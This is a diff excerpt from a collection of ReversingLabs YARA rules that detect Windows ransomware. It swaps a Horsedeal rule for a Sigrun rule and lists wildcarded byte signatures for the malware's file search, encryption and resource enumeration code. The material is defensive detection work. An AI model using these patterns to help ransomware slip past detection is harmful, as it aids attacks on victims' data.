+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ??
+            ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ??
+            50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 FF 33 F6 57 FF B5 ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? 57 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84
         }
 		$encrypt_files_p3 = {
-            C4 89 4D ?? 89 08 8D 8D ?? ?? ?? ?? 89 58 ?? 89 58 ?? 89 58 ?? 89 58 ?? 89 58 ?? E8
-            ?? ?? ?? ?? 53 FF 75 ?? 8D 8D ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 FF 75
-            ?? 8D 8D ?? ?? ?? ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 EC ?? 8B D4 8B D8
-            33 C0 03 CF 89 0A 8D 8D ?? ?? ?? ?? 89 42 ?? 89 42 ?? 89 42 ?? 89 42 ?? 89 42 ?? E8
-            ?? ?? ?? ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8B 7D ?? 2B 75 ?? 03
-            7D ?? 56 57 E8 ?? ?? ?? ?? 59 59 6A ?? 56 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75
-            ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? 01 45 ?? 53 E8 ?? ?? ?? ?? 8B
-            85 ?? ?? ?? ?? 83 C4 ?? 8B 40 ?? 8B 84 05 ?? ?? ?? ?? C1 E8 ?? A8 ?? 74 ?? 83 EC ??
-            8B CC FF 75 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 83 7E ?? ??
-            C6 45 ?? ?? 72 ?? 8B 36 E8 ?? ?? ?? ?? FF 30 E8 ?? ?? ?? ?? 56 50 68 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 7D ??
-            89 55 ?? 6A ?? 5B 3B D0 0F 82 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ??
-            E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 59 FF 75 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 EC
-            ?? C6 45 ?? ?? 8B CC 6A ?? 89 59 ?? C7 41 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 88 19 E8 ??
-            ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 8B 48 ?? C6 45 ?? ?? 72 ??
-            8B 00 51 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ??
-            8D 45 ?? 0F 43 45 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 50 89 59 ??
-            89 59 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? B3 ?? E8 ?? ?? ?? ?? 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? FF 75 ?? 56 E8 ?? ?? ?? ?? 59 59 8A D8 8D 4D ?? E8
-            ?? ?? ?? ?? 8B 4D ?? 8A C3 5F 5E 64 89 0D ?? ?? ?? ?? 5B C9 C3
+            8B 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 03 F8 8D 85 ?? ?? ?? ?? 3B
+            BD ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 0F 44 F1 50 6A ?? 56 6A ?? FF B5 ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50
+            FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74
+            ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ??
+            ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            B9 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF
+            B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ??
+            ?? 8B 35 ?? ?? ?? ?? FF D6 FF B5 ?? ?? ?? ?? FF D6 C6 85 ?? ?? ?? ?? ?? E9 ?? ?? ??
+            ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8A 85 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59
+            5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
         }
 		$find_files = {
-            8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 83 C8 ?? 57 8B 7D ??
-            41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ??
-            ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ??
-            FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4D ??
-            56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 C0 50
-            50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5
-            89 45 ?? 8B 4D ?? 53 8B 5D ?? 56 8B 75 ?? 57 89 B5 ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74
-            ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 53 E8 ?? ?? ?? ?? 59 59 8B C8 3B CB 75 ?? 8A 11 80 FA
-            ?? 75 ?? 8D 43 ?? 3B C8 74 ?? 56 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF
-            80 FA ?? 74 ?? 80 FA ?? 74 ?? 80 FA ?? 74 ?? 8B C7 EB ?? 33 C0 40 0F B6 C0 2B CB 41
-            F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ??
-            ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56
-            FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ??
-            2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9
-            74 ?? 80 F9 ?? 75 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ??
-            ?? 85 C0 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B
-            C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4
-            ?? E9
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F9 89 BD ?? ?? ?? ?? 33 C0 89
+            85 ?? ?? ?? ?? 38 47 ?? 0F 85 ?? ?? ?? ?? 8B 07 8B 08 8D 85 ?? ?? ?? ?? 50 8D 49 ??
+            E8 ?? ?? ?? ?? 83 38 ?? 0F 85 ?? ?? ?? ?? 83 7F ?? ?? 74 ?? 8B 07 8B 08 8D 85 ?? ??
+            ?? ?? 50 8D 49 ?? E8 ?? ?? ?? ?? 83 38 ?? 0F 84 ?? ?? ?? ?? 8B 07 8D 8D ?? ?? ?? ??
+            8B 30 8D 46 ?? 50 E8 ?? ?? ?? ?? 8D 46 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ?? ??
+            ?? 8B 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ??
+            ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76
+            ?? FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 07 8B
+            30 8B 46 ?? 8B 00 85 C0 74 ?? 8D 8D ?? ?? ?? ?? 51 50 8D 85 ?? ?? ?? ?? 50 FF 15 ??
+            ?? ?? ?? 83 C4 ?? 66 83 38 ?? 75 ?? 8B 46 ?? FF 30 FF 15 ?? ?? ?? ?? 8B 46 ?? 83 C4
+            ?? C7 00 ?? ?? ?? ?? EB ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D
+            4E ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? C6 45 ?? ?? 81 7F ?? ?? ?? ?? ?? 8B 37 8B 36 75 ?? 68 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? 8B 46 ?? 89 85 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? C6 45 ?? ?? 6A ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 8D 85 ?? ?? ?? ?? 8D 4F ?? 50 E8
         }
 
 	condition:
 		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Horsedeal : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Sigrun : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Horsedeal ransomware."
+		description = "Yara rule that detects Sigrun ransomware."
 		author = "ReversingLabs"
-		id = "c722bc5b-756e-5d46-8530-e20ebb73737c"
-		date = "2020-10-01"
-		modified = "2020-10-01"
+		id = "fa627192-ed80-5115-a028-014f67f4571d"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Horsedeal.yara#L1-L106"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "fa8c425b08606399b5dc7673f3898e3dba7efb6a62e56db8f500cf5072bb590b"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Sigrun.yara#L1-L111"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "ea29ec64cdfc0c714fe0acdce5878cb1302dd5aa916811121c644948ce275935"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -28243,94 +30150,101 @@ rule REVERSINGLABS_Win32_Ransomware_Horsedeal : TC_DETECTION MALICIOUS MALWARE F
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Horsedeal"
+		tc_detection_name = "Sigrun"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$search_processes = {
-            55 8B EC 81 EC ?? ?? ?? ?? 56 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 8D
-            85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53
-            FF 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF B5 ?? ?? ??
-            ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 74 ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 53 FF
-            15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5B 56 FF 15 ??
-            ?? ?? ?? 5E C9 C3
+		$find_files = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 83 7D ?? ?? 53 56 57 8B DA C7 44 24 ?? ?? ?? ??
+            ?? 8B F1 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? 89 7C 24 ?? 85 C0 75 ?? 85 FF
+            75 ?? 5F 5E 5B 8B E5 5D C3 C7 44 24 ?? ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 75 ??
+            A1 ?? ?? ?? ?? 89 44 24 ?? A1 ?? ?? ?? ?? 89 44 24 ?? 0F B7 06 66 89 44 24 ?? 83 F8
+            ?? 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 56
+            FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF D7 8D
+            44 24 ?? 50 56 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24 ?? 66 89 11 83 F8 ?? 75
+            ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ??
+            ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74
+            ?? 8D 44 24 ?? 50 56 FF D7 F6 44 24 ?? ?? 74 ?? 83 7C 24 ?? ?? 74 ?? BA ?? ?? ?? ??
+            8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF D7 6A ?? 8B D3 8B CE E8 ?? ??
+            ?? ?? EB ?? 68 ?? ?? ?? ?? 56 FF D7 6A ?? 8B D3 8B CE E8 ?? ?? ?? ?? EB ?? 53 8D 54
+            24 ?? 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74
+            24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E
+            33 C0 5B 8B E5 5D C3
         }
-		$enum_resources = {
-            55 8B EC 83 E4 ?? 83 EC ?? 83 0C 24 ?? 8D 44 24 ?? 53 56 57 50 FF 75 ?? C7 44 24 ??
-            ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4C 24 ?? E8 ?? ?? ??
-            ?? 8B F0 85 F6 74 ?? EB ?? 33 DB 39 5C 24 ?? 76 ?? 8D 7E ?? F6 47 ?? ?? 74 ?? 8D 47
-            ?? 50 E8 ?? ?? ?? ?? EB ?? FF 37 E8 ?? ?? ?? ?? 43 83 C7 ?? 59 3B 5C 24 ?? 72 ?? 8D
-            44 24 ?? 50 56 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B CE E8 ??
-            ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3
+		$encrypt_files_1 = {
+            55 8B EC 83 EC ?? 53 57 68 ?? ?? ?? ?? 8B FA 8B D9 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 5F 33 C0 5B 8B E5 5D C3
+            56 8D 45 ?? 33 F6 50 56 56 57 53 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8D 45 ??
+            C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 45 ?? 68 ??
+            ?? ?? ?? 50 FF 75 ?? C7 00 ?? ?? ?? ?? 56 6A ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 8B F0
+            FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C6 5E 5F 5B 8B E5 5D C3
         }
-		$find_files = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 53 56 8B 35 ?? ?? ?? ?? 57
-            8B 7D ?? 74 ?? 68 ?? ?? ?? ?? 57 FF D6 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ??
-            ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 53 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ??
-            ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
-            8D 44 24 ?? 50 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 83
-            C4 ?? A8 ?? 74 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? 68 ?? ?? ?? ?? 8D
-            44 24 ?? 50 FF D6 85 C0 74 ?? 53 E8 ?? ?? ?? ?? 59 EB ?? 8B 44 24 ?? A8 ?? 74 ?? 68
-            ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 44 24 ??
-            50 FF D6 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? 8B CB E8 ?? ??
-            ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24
-            ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ??
-            ?? ?? 83 C4 ?? 33 FF 57 68 ?? ?? ?? ?? 6A ?? 57 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ??
-            ?? ?? 8B F0 89 74 24 ?? 83 FE ?? 74 ?? 57 8B 3D ?? ?? ?? ?? 8D 44 24 ?? 50 68 ?? ??
-            ?? ?? FF D7 50 68 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 6A ?? 8D 44 24 ?? 50 FF 35
-            ?? ?? ?? ?? FF D7 8B 7C 24 ?? 50 FF 35 ?? ?? ?? ?? 57 FF D6 57 FF 15 ?? ?? ?? ?? 8B
-            CB E8 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3
+		$encrypt_files_2 = {
+            55 8B EC 53 56 57 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B DA 8B F9 FF 15 ?? ??
+            ?? ?? 57 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B CF E8 ?? ?? ?? ?? 85
+            C0 74 ?? 68 ?? ?? ?? ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B 5D C3 8B CF E8 ??
+            ?? ?? ?? 85 C0 75 ?? 83 7B ?? ?? 72 ?? 8B 55 ?? 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? 56
+            57 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 5F 5E B8 ?? ?? ?? ??
+            5B 5D C3
         }
-		$encrypt_files_p1 = {
-            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 8B 35 ?? ?? ?? ?? 57 FF 35 ?? ?? ?? ??
-            8B F9 89 7D ?? FF D6 FF 35 ?? ?? ?? ?? 8B D8 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 50 FF
-            D6 3B C3 0F 84 ?? ?? ?? ?? 6A ?? 59 33 DB 89 4D ?? 8B C3 88 9C 05 ?? ?? ?? ?? 40 3D
-            ?? ?? ?? ?? 72 ?? 8D 85 ?? ?? ?? ?? 50 51 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0
-            0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CB 89 45 ?? 8A 84 0D ?? ?? ?? ?? 88 44 0D ??
-            41 83 F9 ?? 72 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 53 6A ?? 53 FF 35
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 6A ?? 58 50 53 6A ?? 68 ?? ?? ?? ??
-            57 89 45 ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 83 65 ?? ?? 57 FF D6
-            8D 0C 47 83 E9 ?? 66 83 39 ?? 75 ?? FF 35 ?? ?? ?? ?? 2B CF 83 C1 ?? D1 F9 8D 04 4F
-            50 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF 35 ?? ?? ?? ?? FF D6 FF 75 ?? 8B F0 FF
-            15 ?? ?? ?? ?? 3B C6 75 ?? 33 F6 46 EB ?? 8B 75 ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ??
-            8B 4D ?? 8B 45 ?? 85 C9 7F ?? 7C ?? 3D ?? ?? ?? ?? 77 ?? 33 F6 46 85 F6 74 ?? 8B 35
-            ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
+		$encrypt_files_3 = {
+            55 8B EC 83 EC ?? 56 57 E8 ?? ?? ?? ?? 85 C0 75 ?? 83 C8 ?? 5F 5E 8B E5 5D C3 8D 45
+            ?? 50 8D 45 ?? 50 8D 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ??
+            6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 8D 4D ?? 8B D7 E8
+            ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 85 C9 74 ?? 8B 45 ?? 85 C0 74 ??
+            C6 04 08 ?? 8B 4D ?? 68 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75
+            ?? FF D6 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 05 ?? ?? ?? ??
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D6 68 ?? ?? ?? ?? 6A ??
+            57 FF D6 5F 33 C0 5E 8B E5 5D C3
         }
-		$encrypt_files_p2 = {
-            53 FF 15 ?? ?? ?? ?? 6A ?? FF 75 ?? 8D 55 ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 99 6A ?? 6A ?? 52 50 53 FF D7 6A ?? 8D 45 ?? 50 FF
-            75 ?? 8D 85 ?? ?? ?? ?? 50 53 FF D6 81 7D ?? ?? ?? ?? ?? 74 ?? E9 ?? ?? ?? ?? 6A ??
-            6A ?? 51 0F 57 C0 50 66 0F 13 45 ?? E8 ?? ?? ?? ?? 8B 4D ?? 2D ?? ?? ?? ?? 8B 35 ??
-            ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 DA ?? 89 45 ?? 8B 45 ?? 2D ?? ?? ?? ?? 89 55 ?? 89 45
-            ?? 8D 45 ?? 83 D9 ?? 89 45 ?? 89 4D ?? 6A ?? 6A ?? FF 70 ?? FF 30 53 FF D7 6A ?? 8D
-            45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 6A ?? FF 75 ?? 8D
-            55 ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 99 6A
-            ?? 6A ?? 52 50 53 FF D7 6A ?? 8D 45 ?? 50 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 53 FF D6 8B
-            45 ?? 83 C0 ?? 83 6D ?? ?? 89 45 ?? 75 ?? 8B 7D ?? 0F 57 C0 6A ?? 6A ?? 66 0F 13 45
-            ?? FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A
-            ?? 8D 45 ?? 50 53 FF D6 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF
-            D6 53 FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 68 ?? ?? ??
-            ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 56 57 FF 15 ?? ??
-            ?? ?? 8B CE E8 ?? ?? ?? ?? 5F 5E 5B C9 C3
+		$enum_resources_1 = {
+            55 8B EC 83 E4 ?? 83 EC ?? 53 56 57 8B 3D ?? ?? ?? ?? 8B F1 6A ?? 68 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 6A ?? 89 54 24 ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? FF D7 8B 1D ?? ??
+            ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 85 F6 0F 85 ?? ??
+            ?? ?? 8D 44 24 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF D3 85 C0 0F 85 ?? ?? ?? ?? 8D 44 24
+            ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF
+            74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 49 ?? 33 DB 39 5C 24 ?? 0F 86
+            ?? ?? ?? ?? 8B 74 24 ?? 83 C6 ?? 83 7E ?? ?? 75 ?? 8B 06 6A ?? 68 ?? ?? ?? ?? 68 ??
